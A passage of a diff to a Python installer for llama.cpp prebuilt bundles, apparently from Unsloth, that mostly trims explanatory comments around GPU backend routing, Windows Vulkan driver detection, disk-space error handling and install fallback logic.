- # The macOS side, and the one that reaches most affected users: a bundle that
- # cannot load is usually already installed by the time the installer learns to
- # reject it, so a matching fingerprint would reuse the broken tree forever.
elif host.is_macos:
try:
preflight_macos_installed_binaries(
@@ -10150,8 +9443,7 @@ def validate_prebuilt_choice(
source_repo, source_ref, source_archive, exact_source = preferred_source_archive(
approved_checksums, llama_tag
)
- # For an exact (mix) source the merge commit lives only in the release asset,
- # not in any repo, so fetch the asset directly; codeload stays the fallback.
+ # For a mix source the merge commit lives only in the release asset.
asset_url = exact_source_asset_url(
approved_checksums, source_repo, source_archive, exact_source, release_tag
)
@@ -10175,8 +9467,7 @@ def validate_prebuilt_choice(
)
log(f"overlaying prebuilt bundle {choice.name} into {install_dir}")
server_path, quantize_path = install_from_archives(choice, host, install_dir, work_dir)
- # Every WINDOWS kind: gating only Vulkan activated a fresh tree missing
- # llama-common.dll and reported success.
+ # Every Windows kind: gating only Vulkan accepted a tree missing llama-common.dll.
if (
choice.install_kind in VULKAN_INSTALL_KINDS or choice.install_kind.startswith("windows-")
) and not runtime_payload_is_healthy(install_dir, host, choice):
@@ -10214,7 +9505,6 @@ def validate_prebuilt_choice(
macos_load_probe_passed = macos_load_probe_passed,
)
if prebuilt_needs_functional_validation(choice):
- # Only branch that reads the probe, so this is where a lazy one is fetched.
probe_path = resolve_validation_model(probe)
validate_quantize(
quantize_path,
@@ -10302,11 +9592,8 @@ def validate_prebuilt_attempts(
if not attempt_list:
raise PrebuiltFallback("no prebuilt bundle attempts were available")
- # Resolve the probe up front when any attempt will validate. The per-candidate
- # handler below catches Exception, so a probe download failing inside it would
- # read as a bad bundle and demote a healthy GPU pick to CPU -- and, since the
- # thunk memoises success but not failure, re-download once per attempt. Plans
- # that skip validation never call the thunk, so they stay lazy.
+ # Resolve the probe up front: a probe download failure inside the per-candidate handler would
+ # read as a bad bundle and demote the pick to CPU.
if any(prebuilt_needs_functional_validation(a) for a in attempt_list):
probe = resolve_validation_model(probe)
@@ -10330,8 +9617,6 @@ def validate_prebuilt_attempts(
choice = attempt,
approved_checksums = approved_checksums,
)
- # Skip a matching candidate unless it still needs the DiffusionGemma
- # backfill re-extract (gated per-attempt, not per-plan).
and not diffusion_visual_server_backfill_needed(existing_install_dir, host, attempt)
):
log(
@@ -10340,8 +9625,7 @@ def validate_prebuilt_attempts(
)
raise ExistingInstallSatisfied(attempt, tried_fallback)
- # Advisory: a few GB free usually fits, and rejecting here would also skip
- # the source-build fallback.
+ # Advisory: rejecting here would also skip the source-build fallback.
if index == 0:
low_disk = _low_disk_warning(install_dir)
if low_disk is not None:
@@ -10433,8 +9717,7 @@ def effective_backend_request(
return explicit, True
stored = persisted_backend_request(install_dir)
if not is_requestable_backend(stored):
- # Written by a newer Unsloth. Detection would quietly rewrite the choice
- # to "auto", so refuse instead and leave the install exactly as it is.
+ # Written by a newer Unsloth; detection would silently rewrite it to "auto", so refuse.
raise UnknownBackendRequest(
f"this install records an unsupported llama.cpp backend choice ({stored!r}); "
"update Unsloth before replacing it"
@@ -10663,12 +9946,7 @@ def _windows_hip_gfx_targets(published_repo: str | None) -> frozenset[str]:
def _gfx_is_windows_hip_supported(gfx: str, published_repo: str | None = None) -> bool:
token = gfx.lower().strip()
if token in WINDOWS_ROCM_FAMILY_GFX_LABELS:
- # A bundle name, not an arch, so the concrete GPU is unknown here. The fork builds
- # every member; upstream builds all but gfx1034 / gfx1103. Answering "unsupported"
- # to cover that pair would move gfx1030..1032 / gfx1100..1102 off a working HIP
- # build onto Vulkan for a member the label cannot identify, so HIP serves it either
- # way. A concrete arch below still answers per repo, which is where gfx1034 and
- # gfx1103 do reach Vulkan.
+ # A family label, not an arch: HIP serves it either way rather than move working members to Vulkan.
return True
return token in _windows_hip_gfx_targets(published_repo)
@@ -10685,13 +9963,11 @@ def _should_auto_vulkan_for_amd_windows(host: HostInfo, published_repo: str | No
unmasked probe's own pick has no Windows HIP bundle."""
active = _active_rocm_gfx_target(host)
if not active:
- # ROCm confirmed but gfx unknown (--has-rocm only): keep the HIP / fork / source path.
return False
if not (
host.is_windows
and host.has_rocm
- # PHYSICAL, not merely usable: Vulkan ignores CUDA_VISIBLE_DEVICES and would
- # enumerate a card hidden by it. Same gate as the Intel auto path below.
+ # PHYSICAL, not usable: Vulkan ignores CUDA_VISIBLE_DEVICES and would reach a hidden card.
and not host.has_physical_nvidia
):
return False
@@ -10730,18 +10006,13 @@ def _should_auto_vulkan_for_amd_windows(host: HostInfo, published_repo: str | No
# 64-bit only: WOW6432Node holds 32-bit registrations windows-x64-vulkan cannot load.
_VULKAN_ICD_REGISTRY_KEYS = (r"SOFTWARE\Khronos\Vulkan\Drivers",)
-# AMD drivers can register Vulkan on these device classes without a Khronos entry.
_WINDOWS_VULKAN_DEVICE_CLASS_KEYS = (
_WINDOWS_DISPLAY_CLASS_KEY,
r"SYSTEM\CurrentControlSet\Control\Class\{5c4c3332-344d-483c-8739-259e934c9cc8}",
)
-# Use the 64-bit value; VulkanDriverNameWow is for 32-bit drivers.
_WINDOWS_VULKAN_DRIVER_VALUE = "VulkanDriverName"
-# RADV radeon_icd.x86_64.json, AMDVLK amd_icd64 / amd_pro_icd64 / amdvlk64, Adrenalin
-# amd-vulkan64.json. Matched on the basename ("amd" names directories too) with "-" folded
-# to "_", without which the ordinary Adrenalin host answered False.
+# Matched on the basename ("amd" names directories too) with "-" folded to "_".
_AMD_VULKAN_ICD_NEEDLES = ("radeon", "radv", "amdvlk", "amd_icd", "amd_pro", "amd_vulkan")
-# The 32-bit halves a 64-bit llama-server cannot load; a host left with only those keeps ROCm.
_AMD_VULKAN_ICD_32_BIT_NEEDLES = ("i686", "i386")
@@ -10835,7 +10106,6 @@ def _vulkan_icd_search_dirs() -> list[Path]:
return unique
-# Device presence constants from cfgmgr32.h and cfg.h.
_CM_LOCATE_DEVNODE_NORMAL = 0x00000000
_CM_GETIDLIST_FILTER_PRESENT = 0x00000100
_CM_GETIDLIST_FILTER_CLASS = 0x00000200
@@ -10844,8 +10114,7 @@ _CR_SUCCESS = 0x00000000
_CR_BUFFER_SMALL = 0x0000001A
_DN_HAS_PROBLEM = 0x00000400
_CM_PROB_NEED_RESTART = 0x0000000E
-# cfg.h calls it DN_LIAR and lists it under "Device Instance status flags", so it is a bit
-# in pulStatus. CM_PROB_ codes stop at 0x39, so it can never appear in pulProblemNumber.
+# A status bit in pulStatus (cfg.h DN_LIAR), never a pulProblemNumber code.
_DN_NEED_RESTART = 0x00000100
_CM_DEVICE_LIST_ATTEMPTS = 4
@@ -10869,8 +10138,7 @@ def _windows_present_class_instances(class_key_path: str) -> set[str] | None:
try:
length = wintypes.ULONG(0)
flags = _CM_GETIDLIST_FILTER_CLASS | _CM_GETIDLIST_FILTER_PRESENT
- # A device arriving between the two calls outgrows the buffer and the API refuses
- # rather than truncating; unretried, that transient drops the whole scan.
+ # A device arriving between the two calls makes the API refuse; retry rather than drop the scan.
for _attempt in range(_CM_DEVICE_LIST_ATTEMPTS):
if (
cfgmgr.CM_Get_Device_ID_List_SizeW(ctypes.pointer(length), guid, flags)
@@ -10885,7 +10153,6 @@ def _windows_present_class_instances(class_key_path: str) -> set[str] | None:
return None
else:
return None
- # One double-NUL-terminated block of device ids.
device_ids = [entry for entry in buffer[: length.value].split("\0") if entry]
instances: set[str] = set()
for device_id in device_ids:
@@ -10900,7 +10167,6 @@ def _windows_present_class_instances(class_key_path: str) -> set[str] | None:
if not _windows_devnode_is_usable(cfgmgr, ctypes, wintypes, devinst):
continue
size = wintypes.ULONG(0)
- # First call sizes the value; a device with no driver bound has none.
cfgmgr.CM_Get_DevNode_Registry_PropertyW(
devinst, _CM_DRP_DRIVER, None, None, ctypes.pointer(size), 0
)
@@ -10938,8 +10204,7 @@ def _windows_devnode_is_usable(cfgmgr: Any, ctypes: Any, wintypes: Any, devinst:
!= _CR_SUCCESS
):
return False
- # Read before the problem word and independently of DN_HAS_PROBLEM: this one is a status
- # bit, and a devnode that reports it without also raising a problem still needs the reboot.
+ # Checked independently of DN_HAS_PROBLEM: the restart bit can be set without a problem.
if status.value & _DN_NEED_RESTART:
return False
if not status.value & _DN_HAS_PROBLEM:
@@ -10963,7 +10228,6 @@ def _windows_device_icd_manifest_paths(winreg: Any) -> list[str]:
for index in range(winreg.QueryInfoKey(class_key)[0]):
try:
name = winreg.EnumKey(class_key, index)
- # Skip non-instance keys such as the restricted "Properties".
if not name.isdigit() or name not in present:
continue
with winreg.OpenKey(class_key, name) as device_key:
@@ -10971,13 +10235,11 @@ def _windows_device_icd_manifest_paths(winreg: Any) -> list[str]:
device_key, _WINDOWS_VULKAN_DRIVER_VALUE
)
paths.extend(_windows_vulkan_driver_value_paths(winreg, value, kind))
- # Per instance: the integrated part often enumerates first.
except Exception:
continue
except OSError:
continue
except Exception:
- # Discovery failures must not abort installation.
continue
return paths
@@ -11013,8 +10275,7 @@ def _amd_vulkan_icd_manifest_paths() -> list[str]:
A file list or a registry key, both readable in-process: vulkaninfo is absent on most
Windows hosts and libvulkan on a headless ROCm box, the case being tested for.
"""
- # Force lists, not hints: on every platform the loader reads only these, and
- # VK_DRIVER_FILES supersedes VK_ICD_FILENAMES rather than joining it.
+ # Force lists, not hints; VK_DRIVER_FILES supersedes VK_ICD_FILENAMES rather than joining it.
for env_name in ("VK_DRIVER_FILES", "VK_ICD_FILENAMES"):
value = os.environ.get(env_name)
if not (value or "").strip():
@@ -11046,7 +10307,6 @@ def _amd_vulkan_icd_manifest_paths() -> list[str]:
# Name is the path, DWORD data the enable flag, 0 loads.
if kind != winreg.REG_DWORD or value != 0:
continue
- # And present, or an uninstall's leftover answers for it.
try:
if not os.path.isfile(name):
continue
@@ -11055,7 +10315,6 @@ def _amd_vulkan_icd_manifest_paths() -> list[str]:
paths.append(name)
except OSError:
continue
- # The same manifest may appear in several registrations.
return list(dict.fromkeys(paths))
paths = []
for directory in _vulkan_icd_search_dirs():
@@ -11082,7 +10341,6 @@ def _amd_vulkan_icd_usable(path: str) -> bool:
if not (os.path.isabs(library) or "/" in library or "\\" in library):
return True
if not os.path.isabs(library):
- # Relative to the manifest's directory, per the loader's interface document.
library = os.path.join(os.path.dirname(path), library)
try:
return os.path.isfile(library)
@@ -11240,8 +10498,6 @@ def _route_to_vulkan_prebuilt(
host, published_repo
) or _should_auto_vulkan_for_amd_linux(host)
amd_igpu_host = _should_prefer_vulkan_for_amd_igpu(host)
- # Auto-fall back only when the run named no accelerator: an explicit hip/cpu/cuda is
- # the opt-out. "auto" names detection itself, so it keeps both automatic routes.
detecting = explicit_backend in (None, "auto")
auto_no_hip = detecting and amd_no_hip_host
auto_igpu = detecting and amd_igpu_host
@@ -11297,8 +10553,6 @@ def _route_to_vulkan_prebuilt(
"llama.cpp prebuilt, which is faster on these parts than ROCm"
)
host = _vulkan_only_host(host)
- # Automatic, so the marker keeps rocm_gfx, re-selecting ROCm finds its bundle,
- # and the Vulkan CPU crash recovery stays armed.
persist_backend = "auto"
elif forced:
log(
@@ -11306,9 +10560,7 @@ def _route_to_vulkan_prebuilt(
"prebuilt instead of the detected GPU backend"
)
host = _vulkan_only_host(host)
- # A host with no HIP-capable AMD GPU routes here anyway, so the bundle is the
- # same. Persist it as automatic so pre-#8050 installs (and the --llama-backend
- # vulkan every update re-asserts) stay eligible for the CPU crash recovery.
+ # Persist as automatic so these installs stay eligible for the CPU crash recovery.
persist_backend = "auto" if (amd_no_hip_host or amd_igpu_host) else "vulkan"
elif auto_intel:
log("Intel GPU detected; installing the Vulkan llama.cpp prebuilt")
@@ -11357,8 +10609,7 @@ def _causal_chain(exc: BaseException) -> Iterable[BaseException]:
while current is not None and id(current) not in seen:
seen.add(id(current))
yield current
- # `raise X from None` sets __suppress_context__: the earlier exception is
- # unrelated, so following __context__ anyway would misreport the cause.
+ # `raise X from None` sets __suppress_context__; do not follow __context__ then.
if current.__cause__ is not None:
current = current.__cause__
elif current.__suppress_context__:
@@ -11367,13 +10618,9 @@ def _causal_chain(exc: BaseException) -> Iterable[BaseException]:
current = current.__context__
-# ERROR_HANDLE_DISK_FULL / ERROR_DISK_FULL. CPython's PC/errmap.h maps 112 to
-# ENOSPC but has no case for 39, which arrives as EINVAL, so check winerror too.
+# CPython maps 112 to ENOSPC but 39 arrives as EINVAL, so check winerror too.
_WINDOWS_DISK_FULL = (39, 112)
-# A quota (NFS/XFS/container) leaves blocks this user cannot have, so the bigger
-# source build is just as doomed; named apart from ENOSPC so df does not mislead.
-# Guarded: the MSVC CRT has no EDQUOT, so on Windows CPython aliases it to the
-# Winsock WSAEDQUOT (10069), which no file write raises.
+# A quota dooms the bigger source build too. Guarded: Windows aliases EDQUOT to WSAEDQUOT.
_DISK_FULL_ERRNOS = {errno.ENOSPC: "no space left on device"}
if hasattr(errno, "EDQUOT"):
_DISK_FULL_ERRNOS[errno.EDQUOT] = "disk quota exceeded"
@@ -11398,11 +10645,7 @@ def _out_of_space_reason(exc: BaseException) -> str | None:
return reason
if _winerror_of(exc) in _WINDOWS_DISK_FULL:
return "no space left on device"
- # shutil.copytree stringifies each per-file OSError and raises Error(errors)
- # outside the except block, so errno and the chain are gone and only text
- # survives. OSError.__str__ returns early on winerror, so Windows reads
- # "[WinError 112]" and never "[Errno 28]": match both, brackets included so
- # WinError 112 does not match WinError 1120.
+ # shutil.Error keeps only text; Windows reads "[WinError 112]", brackets so 1120 cannot match.
if isinstance(exc, shutil.Error):
text = str(exc)
for code, reason in _DISK_FULL_ERRNOS.items():
@@ -11507,12 +10750,10 @@ class BackendRoute:
published_release_tag: str
persist_llama_backend: str | None
persist_rocm_gfx: str | None
- # The pre-route host when Vulkan was preferred over a working HIP bundle, so the plan
- # falls back to it rather than to CPU. None on #7357, where no HIP build fits.
rocm_fallback_host: HostInfo | None = None
-# Quoted values only: non-ROCm builds write `hip: Optional[str] = None`. Mirrors install_python_stack.
+# Quoted values only: non-ROCm builds write `hip: Optional[str] = None`.
_TORCH_VERSION_PY_HIP_RE = re.compile(r"""^hip\s*(?::[^=]*)?=\s*['"]([^'"]*)['"]""", re.MULTILINE)
# AMD's Radeon SDK wheels leave hip None and carry the tag here (2.9.0+rocmsdk20251116).
_TORCH_VERSION_PY_VERSION_RE = re.compile(
@@ -11557,7 +10798,6 @@ def _auto_host_following_rocm_torch(host: HostInfo) -> HostInfo:
if not host.has_usable_nvidia:
return host
probed = host if host.has_rocm else detect_host(probe_rocm_with_nvidia = True)
- # Marker-replayed arches outlive a removed card; setup.sh forwards none while NVIDIA is usable.
if not (probed.has_rocm or _normalize_forwarded_gfx(os.environ.get("UNSLOTH_ROCM_GFX_ARCH"))):
return host
log(
@@ -11583,14 +10823,11 @@ def route_backend_request(
detect_host(probe_rocm_with_nvidia = True) if backend == "rocm" else detect_host()
)
elif backend == "rocm" and host.has_usable_nvidia and not host.has_rocm:
- # The shared automatic profile deliberately skips AMD probes once CUDA
- # is usable. Re-probe for an explicit ROCm option or environment request.
+ # The automatic profile skips AMD probes once CUDA is usable; re-probe for explicit ROCm.
detected_host = detect_host(probe_rocm_with_nvidia = True)
else:
detected_host = host
if backend == "rocm":
- # Explicit ROCm must not let normal NVIDIA precedence generate CUDA
- # attempts that strict backend filtering then discards.
detected_host = dataclasses_replace(
detected_host,
has_physical_nvidia = False,
@@ -11605,8 +10842,7 @@ def route_backend_request(
override_rocm_gfx = override_rocm_gfx,
force_cpu = force_cpu,
)
- # Read before the route, which rewrites the host to Vulkan-only and drops the AMD
- # arch. Kept in the marker so the next update forwards the same --rocm-gfx.
+ # Read before the route, which rewrites the host to Vulkan-only and drops the AMD arch.
persist_rocm_gfx = _active_rocm_gfx_target(resolved_host)
routed_host, repo, release_tag, persist_llama_backend = _route_to_vulkan_prebuilt(
resolved_host,
@@ -11622,7 +10858,6 @@ def route_backend_request(
published_release_tag = release_tag,
persist_llama_backend = persist_llama_backend,
persist_rocm_gfx = persist_rocm_gfx,
- # Only the integrated-GPU preference turns away from a runnable HIP bundle.
rocm_fallback_host = (
resolved_host
if (
@@ -11676,10 +10911,8 @@ def _with_rocm_behind_vulkan(
_tag, rocm_plans = resolve_simple_install_release_plans(
llama_tag, rocm_host, published_repo, published_release_tag
)
- # Inside the try: later releases resolve lazily here.
rocm_attempts = {plan.release_tag: plan.attempts for plan in rocm_plans}
except Exception:
- # Not a reason to fail the Vulkan install, but a reason to drop the CPU tail.
return _drop_cpu_only(plans)
out: list[InstallReleasePlan] = []
for plan in plans:
@@ -11691,8 +10924,6 @@ def _with_rocm_behind_vulkan(
if attempt.install_kind not in present and attempt.install_kind not in cpu_kinds
]
if not extra:
- # Either the plan already carries this host's ROCm attempt, or none resolved
- # for this release; only the second is the hazard above.
if any(attempt.install_kind in present for attempt in candidates):
out.append(plan)
else:
@@ -11759,8 +10990,6 @@ def select_backend_install(
route.published_repo,
route.published_release_tag,
)
- # macOS publishes one universal Metal bundle, so there is nothing to hold a
- # request to; setup.sh says as much for cpu and vulkan there rather than failing.
if route.backend in CONCRETE_BACKENDS and not route.host.is_macos:
release_plans = _backend_only_release_plans(release_plans, route.backend)
return BackendSelection(
@@ -11789,34 +11018,27 @@ def install_prebuilt(
instruction_cleanup_root: Path | None = None,
) -> None:
choice: AssetChoice | None = None
- # Anything this RUN asked for that keeping the old tree would silently ignore. Read
- # before the body mutates force_cpu, which it sets True for a stored "cpu" choice.
+ # Read before the body mutates force_cpu, which it sets True for a stored "cpu" choice.
explicit_version_request = (
normalized_requested_llama_tag(llama_tag) != "latest"
or bool((published_release_tag or "").strip())
or (bool((published_repo or "").strip()) and published_repo != DEFAULT_PUBLISHED_REPO)
- # --cpu-fallback is setup.sh's deliberate arm64 recovery, so it counts. --has-rocm
- # and --rocm-gfx do not: both entrypoints forward a DETECTED GPU on every AMD host,
- # so counting them would take the keep path away from all of them.
+ # --has-rocm and --rocm-gfx do not count: both entrypoints forward a DETECTED GPU on every AMD host.
or force_cpu
)
- # The failure handler can run before selection assigns these.
host: HostInfo | None = None
backend = "auto"
backend_mandatory = False
cleanup_root = install_dir if instruction_cleanup_root is None else instruction_cleanup_root
try:
with install_lock(install_lock_path(install_dir)):
- # Read and plan from the marker under the install lock so a waiting
- # update cannot undo a concurrent backend switch.
+ # Under the install lock so a waiting update cannot undo a concurrent backend switch.
backend, backend_mandatory = effective_backend_request(
llama_backend, install_dir = install_dir
)
if backend != "auto" and not backend_mandatory:
log(f"honouring the backend recorded by this install: {backend}")
- # Preserve caller flags in case a stale stored choice must be discarded.
caller_force_cpu, caller_persist_force_cpu = force_cpu, persist_force_cpu
- # A deliberate CPU request must persist across updates (#7213).
if backend == "cpu":
force_cpu = True
persist_force_cpu = True
@@ -11835,43 +11057,14 @@ def install_prebuilt(
f"no existing llama.cpp install detected at {install_dir}; performing fresh prebuilt install"
)
- # Single resolver: every fork host selects from the release manifest;
- # an explicit ggml-org override selects by asset filename instead. A
- # Vulkan host is rewritten above so either resolver takes its Vulkan
- # asset branch.
- #
- # Listing releases is a network call, and only the ggml-org branch
- # wraps its own failures, so a rate limited api.github.com or a
- # dropped connection escapes as EXIT_ERROR, which the setup scripts
- # refuse to source build on -- yet a source build clones over git
- # rather than the API and is exactly the recovery these want. Wrapped
- # here rather than inside the resolver because --resolve-prebuilt
- # turns PrebuiltFallback into an exit-0 {"prebuilt_available": false}
- # payload that update_flow caches for RESOLVE_TTL_SECONDS, pinning a
- # transient 403 as "no prebuilt" for 24h; nonzero exits are never
- # cached, so the resolver must keep failing hard.
- #
- # Not dead code despite the download-host fast path: a macOS walk-back
- # past the newest release lists the API, as does a non-latest
- # requested tag without a published-release pin, a non-default
- # --published-repo, and any CDN outage.
- #
- # Transport shapes only: URLError covers HTTPError and the socket/DNS
- # errors urllib wraps, JSONDecodeError is a ValueError, and
- # fetch_json's 403 is a bare RuntimeError. Plain OSError is excluded
- # on purpose -- EMFILE, ENOMEM or a local EACCES is a host resource
- # problem a source build only makes worse, so those stay EXIT_ERROR
- # alongside resolver bugs. ENOSPC still reaches EXIT_NO_SPACE via
- # _environment_fatal_reason in __main__.
+ # Listing failures become PrebuiltFallback here, not in the resolver: --resolve-prebuilt turns
+ # that into a cached exit-0 "no prebuilt", while nonzero exits are never cached. Plain OSError
+ # (EMFILE, ENOMEM, EACCES) stays EXIT_ERROR since a source build only makes it worse.
def _select(
requested_backend: str | None, route: BackendRoute | None = None
) -> BackendSelection:
nonlocal host
- # Routing is deliberately outside the conversion below: it makes no
- # network call, so letting it be caught here would report a bug in
- # host detection as a release-listing failure and source build over
- # it.
- # Reused: routing runs nvidia-smi and the ROCm probes, and the re-check needs the same answer.
+ # Routing stays outside the conversion so a host-detection bug is not read as a listing failure.
if route is None:
route = route_backend_request(
backend = requested_backend,
@@ -11895,9 +11088,6 @@ def install_prebuilt(
except RELEASE_LISTING_TRANSPORT_ERRORS as exc:
raise release_listing_fallback(exc, published_repo) from exc
- # Before the listing, manifest and checksum fetches, which on a current install resolve
- # back to the bundle on disk. One HEAD instead. Routed once and handed to both, since
- # _select would otherwise repeat the probes.
initial_route = route_backend_request(
backend = backend,
published_repo = published_repo,
@@ -11911,39 +11101,28 @@ def install_prebuilt(
llama_tag = llama_tag,
published_repo = published_repo,
published_release_tag = published_release_tag,
- # As effective_backend_request resolved it: an explicit --llama-backend naming
- # another is a request to CHANGE the install.
backend_request = backend,
force_cpu = force_cpu,
- # The SAME forwarded detection initial_route was built from: without these,
- # the "auto" re-derivation inside rebuilds the profile from a bare probe, which
- # on any host whose AMD identity arrives as --rocm-gfx can never match.
+ # Same forwarded detection as initial_route, else the "auto" profile can never match.
override_has_rocm = override_has_rocm,
override_rocm_gfx = override_rocm_gfx,
route = initial_route,
- # Only an explicit name re-asserts a request the last install could not
- # honour; a request read back off the marker retries when something moves.
backend_request_mandatory = backend_mandatory,
):
ensure_fit_params_executable(install_dir)
return
- # A request detection had to replace; kept so the marker records the CHOICE.
unhonoured_request: str | None = None
try:
selection = _select(backend, initial_route)
except BackendUnavailable:
if backend_mandatory:
- # The caller named this backend, so installing a different one
- # silently is worse than reporting that it cannot be served.
raise
- # Re-detect when hardware or published bundles invalidate a stored choice.
log(
f"the {backend} backend recorded by this install is not available here; "
"falling back to hardware detection"
)
unhonoured_request = backend
backend = "auto"
- # Restore caller flags before detection chooses a replacement.
force_cpu, persist_force_cpu = caller_force_cpu, caller_persist_force_cpu
selection = _select(backend)
host = selection.host
@@ -11953,9 +11132,7 @@ def install_prebuilt(
release_plans = selection.release_plans
persist_llama_backend = selection.persist_llama_backend
persist_rocm_gfx = selection.persist_rocm_gfx
- # The CHOICE, not the replacement detection made for it: "auto" here is what
- # destroyed a Vulkan choice permanently on AMD, where every detect means ROCm
- # (#11143). The miss is flagged separately, so this is never read as installed.
+ # The CHOICE, not detection's replacement: persisting "auto" destroyed Vulkan choices on AMD.
persist_backend_request = unhonoured_request or backend
def _record_reused_selection(
@@ -11966,7 +11143,6 @@ def install_prebuilt(
sync_marker_selection(
install_dir,
choice = reused,
- # A later candidate reused after the preferred failed is a fallback to retry.
prebuilt_fallback_used = used_fallback,
backend_request = persist_backend_request,
persist_force_cpu = persist_force_cpu,
@@ -11974,7 +11150,6 @@ def install_prebuilt(
ggml_tree = recorded_ggml_tree(plan.approved_checksums, reused),
rocm_gfx = persist_rocm_gfx,
walk_back = plan.walk_back,
- # The routed host, so an older marker gains host_profile and runtime_files here.
host = host,
)
@@ -11990,7 +11165,6 @@ def install_prebuilt(
"existing llama.cpp install already matches selected release "
f"{current.release_tag} upstream_tag={current.llama_tag}; skipping download and install"
)
- # Record a changed choice even when the bundle already matches.
_record_reused_selection(current, current.attempts[0], False)
return
with scratch_dir("unsloth-llama-prebuilt-") as work_dir:
@@ -12016,7 +11190,6 @@ def install_prebuilt(
"existing llama.cpp install already matches fallback release "
f"{plan.release_tag} upstream_tag={plan.llama_tag}; skipping reinstall"
)
- # An older release kept after the newest failed is a fallback.
_record_reused_selection(plan, choice, release_index > 0)
return
log(
@@ -12042,9 +11215,7 @@ def install_prebuilt(
release_tag = plan.release_tag,
approved_checksums = plan.approved_checksums,
initial_fallback_used = release_index > 0,
- # Skip is gated per-attempt inside, so pass the dir always.
existing_install_dir = install_dir,
- # Persist only the deliberate choice, not a transient fallback.
force_cpu = persist_force_cpu,
llama_backend = persist_llama_backend,
backend_request = persist_backend_request,
@@ -12052,8 +11223,6 @@ def install_prebuilt(
walk_back = plan.walk_back,
)
except ExistingInstallSatisfied as satisfied:
- # Third reuse path: the reinstall was skipped, so
- # write_prebuilt_metadata does not run here either.
_record_reused_selection(plan, satisfied.choice, satisfied.used_fallback)
return
except PrebuiltFallback as exc:
@@ -12098,8 +11267,7 @@ def install_prebuilt(
log(f"prebuilt busy reason: {exc}")
raise SystemExit(EXIT_BUSY) from exc
except UnknownBackendRequest as exc:
- # EXIT_ERROR, never the source fallback: detection would replace a choice
- # this build cannot read, which is the one outcome refusing must prevent.
+ # EXIT_ERROR, never the source fallback: detection would replace a choice this build cannot read.
log(f"prebuilt install refused: {exc}")
raise SystemExit(EXIT_ERROR) from exc
except PrebuiltFallback as exc:
@@ -12108,10 +11276,7 @@ def install_prebuilt(
log(f"prebuilt install failed: {fatal}")
_log_disk_space_help()
raise SystemExit(EXIT_NO_SPACE) from exc
- # A stored choice that could not be served was already replaced by "auto"
- # above, so a concrete name here is one this run must not walk away from.
preserve_backend = backend in CONCRETE_BACKENDS and host is not None and not host.is_macos
- # A stored preference may reuse a matching install; one requested on this run may not.
satisfied_stored_backend = (
preserve_backend
and not backend_mandatory
@@ -12120,16 +11285,11 @@ def install_prebuilt(
if (
(not preserve_backend or satisfied_stored_backend)
and not explicit_version_request
- # Even "auto" is a live instruction: it asks for re-detection.
and not backend_mandatory
- # A release that was fetched and found untrustworthy ANSWERED, so "update
- # unavailable" is the wrong sentence for it: it turns a tamper signal into a
- # routine offline notice. Pre-dates this branch on the llama side and is closed
- # here so the two installers cannot disagree about what a keep is allowed to hide.
+ # An untrustworthy release must not be reported as a routine "update unavailable".
and not isinstance(exc, _core.ReleaseIntegrityError)
and host is not None
and _existing_install_runs(install_dir, host)
- # Starting the binaries proves nothing about SM coverage after a card swap.
and _kept_install_covers_host(load_prebuilt_metadata(install_dir), host)
):
log("prebuilt update unavailable; keeping the existing complete install")
@@ -12141,18 +11301,14 @@ def install_prebuilt(
if preserve_backend
else "prebuilt install path failed; falling back to source build"
)
- # log_lines, not log: a preflight failure lists one library per line, and
- # only prefixed lines are distinguishable from the system report below.
log_lines(f"prebuilt fallback reason: {exc}".splitlines())
- # Diagnostics must never change the verdict: a probe that raises here
- # would replace the fallback with EXIT_ERROR, which never source builds.
+ # Diagnostics must never change the verdict: EXIT_ERROR never source builds.
try:
if host is not None:
print(collect_system_report(host, choice, install_dir))
except Exception as report_exc:
log(f"system report unavailable: {report_exc}")
if preserve_backend:
- # A concrete choice must not become a hardware-selected source build.
log(f"the {backend} backend selection was preserved; source fallback was not started")
raise SystemExit(EXIT_BACKEND_UNAVAILABLE) from exc
raise SystemExit(EXIT_FALLBACK) from exc
@@ -12421,7 +11577,6 @@ def resolve_backends_payload(
entries: list[dict[str, Any]] = []
with _cached_metadata_fetches():
- # macOS publishes one universal Metal bundle, so there is nothing to pick.
for backend in ("auto",) if host.is_macos else REQUESTABLE_BACKENDS:
entry: dict[str, Any] = {"backend": backend}
try:
@@ -12448,22 +11603,19 @@ def resolve_backends_payload(
for key in ("repo", "release_tag", "llama_tag", "asset", "install_kind")
}
)
- # What this option installs today, so "auto" can be labelled with it.
entry["resolved_backend"] = payload.get("backend")
entry["available"] = bool(payload.get("prebuilt_available"))
if entry["available"] and (
(installed_repo and entry["repo"] != installed_repo)
or (installed_release and entry["release_tag"] != installed_release)
):
- # Slim whisper.cpp bundles are paired to the installed release,
- # so a switch that moves llama.cpp is an update in disguise.
+ # Slim whisper.cpp bundles are paired to the installed release, so a switch is an update.
entry["available"] = False
entry["detail"] = "switching this backend would leave the installed release"
if not entry["available"]:
entry["reason"] = "no_prebuilt"
entries.append(entry)
if entries and all(entry.get("reason") == "error" for entry in entries):
- # Never cache a transient outage as "nothing is installable here".
raise RuntimeError("could not resolve any llama.cpp backend")
return {
"requested_tag": normalized_requested_llama_tag(requested_tag),
@@ -12480,8 +11632,6 @@ def main() -> int:
return EXIT_SUCCESS if reusable_existing_install(install_dir, detect_host()) else 1
if args.check_installed is not None:
- # setup.sh asks before keeping a GPU prebuilt over a CPU source build: no download,
- # since the update that failed usually failed for want of one.
install_dir = Path(args.check_installed)
try:
host = detect_host()
@@ -12500,7 +11650,6 @@ def main() -> int:
install_kind = args.install_kind,
)
except PrebuiltFallback as exc:
- # A full disk is not a bad build: the CPU source rebuild needs more space.
fatal = _environment_fatal_reason(exc)
if fatal:
_fail_no_space(f"install validation failed: {fatal}")
@@ -12557,10 +11706,6 @@ def main() -> int:
return EXIT_SUCCESS
if args.resolve_prebuilt is not None:
- # Host-aware "is a prebuilt available" probe, no download. Every host now
- # plans against the fork (args.published_repo defaults to it); an explicit
- # --published-repo overrides. PrebuiltFallback == source build.
- # Use the install selector without consulting the current marker choice.
payload = _resolve_prebuilt_payload(
args.resolve_prebuilt,
backend = requested_backend_arg(args),
@@ -12570,7 +11715,6 @@ def main() -> int:
return EXIT_SUCCESS
if args.resolve_backends is not None:
- # Resolve every option and the current install in one process.
emit_resolver_output(
resolve_backends_payload(
args.resolve_backends,
@@ -12585,7 +11729,6 @@ def main() -> int:
raise SystemExit(
"install_llama_prebuilt.py: --install-dir is required unless --resolve-llama-tag, --resolve-install-tag, or --resolve-source-build is used"
)
- # Install path only: route status logs to stdout (see _LOG_TO_STDOUT note).
global _LOG_TO_STDOUT
_LOG_TO_STDOUT = True
